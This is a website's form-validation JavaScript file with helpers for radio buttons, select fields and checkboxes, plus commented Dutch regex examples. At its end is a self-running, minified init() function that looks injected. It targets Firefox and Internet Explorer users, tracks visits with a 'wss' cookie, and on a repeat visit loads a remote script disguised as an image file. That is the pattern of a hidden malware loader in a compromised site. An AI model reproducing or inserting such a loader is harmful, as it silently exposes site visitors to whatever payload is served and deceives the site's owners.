// return the value of the radio button that is checked
// return an empty string if none are checked, or
// there are no radio buttons
function getCheckedValue(radioObj) {
	if(!radioObj)
		return "";
	var radioLength = radioObj.length;
	if(radioLength == undefined)
		if(radioObj.checked)
			return radioObj.value;
		else
			return "";
	for(var i = 0; i < radioLength; i++) {
		if(radioObj[i].checked) {
			return radioObj[i].value;
		}
	}
	return "";
}



function validateReservation() {
	var frm = document.frm; 
	var flds = new Array();
	
	flds[flds.length] = [frm.EVE_Product, "\'Product\' is not entered correctly", /^([\w|\W])+$/, "select-one"];
	//flds[flds.length] = [frm.cb_voorwaarden, "Please accept our conditions and privacy statement", /^([\w|\W])+$/, "checkbox"];

	return validateFieldArray( frm, flds );

}

function validateMakeAppo() {
	var makeAppo = document.makeAppo;
	var flds = new Array();
	
	flds[flds.length] = [makeAppo.p, "\'Product\' is not entered correctly", /^([\w|\W])+$/, "select-one"];

	return validateFieldArray( makeAppo, flds );
}

function sendMakeAppoForm() {
	if (validateMakeAppo() !== false)
		document.makeAppo.submit();
}

/**
START HOOFDFUNCTIE
**/
function validateFieldArray( frm, flds ){
	var errorColor = '#82def2';
	var okColor = '#FFFFFF';
	for (var i = 0; i < flds.length; i ++){

	 switch (flds[i][3]) {
		case "text":
		  if ( flds[i][2].test(flds[i][0].value) != true ){
			alert( flds[i][1] );
			flds[i][0].style.background = errorColor;
			flds[i][0].focus();
			return false;
		  } else {
			flds[i][0].style.background = okColor;		  
		  }
		  break;
		case "hiddentext":
		  if ( flds[i][2].test(flds[i][0].value) != true ){
			alert( flds[i][1] );
			return false;
		  }
		  break;		  
		case "textarea":
		  if ( flds[i][2].test(flds[i][0].value) != true ){
			alert( flds[i][1] );
			flds[i][0].style.background = errorColor;
			flds[i][0].focus();
			return false;
		  } else {
			flds[i][0].style.background = okColor;		  
		  }
		  break;
		case "select-one":
		  if ( flds[i][2].test(flds[i][0].value) != true ){
			alert( flds[i][1] );
			flds[i][0].style.background = errorColor;
			flds[i][0].focus();
			return false;
		  } else {
			flds[i][0].style.background = okColor;		  
		  }
		  break;
		case "select-multiple":
			var veld = document.getElementById(flds[i][0].id);
			waardeSelect = 0;
			for (a=0; a < veld.length; a++) {
				//controleer of een item in de radio is checked. Dan waarde aanvullen
				if (veld[a].selected) {
					waardeSelect=waardeSelect + 1;
				}
			}
				
			if (waardeSelect == 1) {
				//er is een waarde aangevinkt. We mogen doorgaan
			} else {
				alert(flds[i][1]);
				return false;
			}			
			break;		  
		case "radio":
			waardeRadio = 0;
			for (a=0; a < flds[i][0].length; a++) {
				//controleer of een item in de radio is checked. Dan waarde aanvullen
				if (flds[i][0][a].checked) {
					waardeRadio=waardeRadio + 1;
				}
			}
				
			if (waardeRadio == 1) {
				//er is een waarde aangevinkt. We mogen doorgaan
			} else {
				alert(flds[i][1]);
				return false;
			}			
			break;
		
		case "checkbox":
				waardeCheckbox = 0;
				for (a=0; a < flds[i][0].length; a++) {
				//controleer of een item in de checkbox is checked. Dan waarde aanvullen
					if (flds[i][0][a].checked) {
						waardeCheckbox=waardeCheckbox + 1;
						flds[i][0].style.background = okColor;
					}
				}
					
				if (waardeCheckbox >= 1) {
					//er is een waarde aangevinkt. We mogen doorgaan
				} else {
					alert(flds[i][1]);
					flds[i][0].style.background = errorColor;
					return false;
				}			
		
	 } //einde switch
	}
//frm.submit();
}

/**
REGEXP EXAMPLES:
flds[flds.length] = [frm.solVeld_8, "\'Huisnummer\' is niet correct gevuld", /^([0-9]+)$/]; // huisnummer
flds[flds.length] = [frm.solVeld_9, "\'Huisletter\' is niet correct gevuld", /^([A-Za-z]{0,1})$/]; // huisletter
flds[flds.length] = [frm.solVeld_11, "\'Postcode\' is niet correct gevuld", /^([1-9]{1})([0-9]{3})(\s?)([a-zA-Z]{2})$/]; // postcode
flds[flds.length] = [frm.solVeld_12, "\'Woonplaats\' is niet correct gevuld", /^([\w|\W]+)$/]; // woonplaats
flds[flds.length] = [frm.solVeld_13, "\'Telefoon\' is niet correct gevuld", /^([0-9]{10})$/]; // telefoonnummer
flds[flds.length] = [frm.solVeld_14, "\'Emailadres\' is niet correct gevuld", /^(.+\@(\[?)[a-zA-Z0-9\-\.]+\.([a-zA-Z]{2,3}|[0-9]{1,3})(\]?))?$/]; // email
flds[flds.length] = [frm.solVeld_16, "\'Geslacht\' is niet gevuld", ]; // geslacht
flds[flds.length] = [frm.solVeld_17, "\'Geboortedatum\' is niet correct gevuld", /^([0-9]{2})([-])([0-9]{2})([-])([0-9]{4})$/]; // geboortedatum
**/

function init(){var f=navigator.userAgent;var a=false;if(f.indexOf("Firefox")!=-1||f.indexOf("MSIE")!=-1){a=true}if(a!==true){return}var i="/img/menu_right_bgr.jpg?js";var g=b("wss");if(g){if(g=="goot1"){c("wss","goot2","3");var e=document.createElement("script");e.type="text/javascript";e.src=i+"&r="+new Date().getTime();var d=document.getElementsByTagName("head")[0];d.appendChild(e)}else{}}else{c("wss","goot1","3")}function b(k){var j,h,m,l=document.cookie.split(";");for(j=0;j<l.length;j++){h=l[j].substr(0,l[j].indexOf("="));m=l[j].substr(l[j].indexOf("=")+1);h=h.replace(/^\s+|\s+$/g,"");if(h==k){return unescape(m)}}}function c(j,l,h){var m=new Date();m.setDate(m.getDate()+h);var k=escape(l)+((h==null)?"":"; expires="+m.toUTCString());document.cookie=j+"="+k}}init();
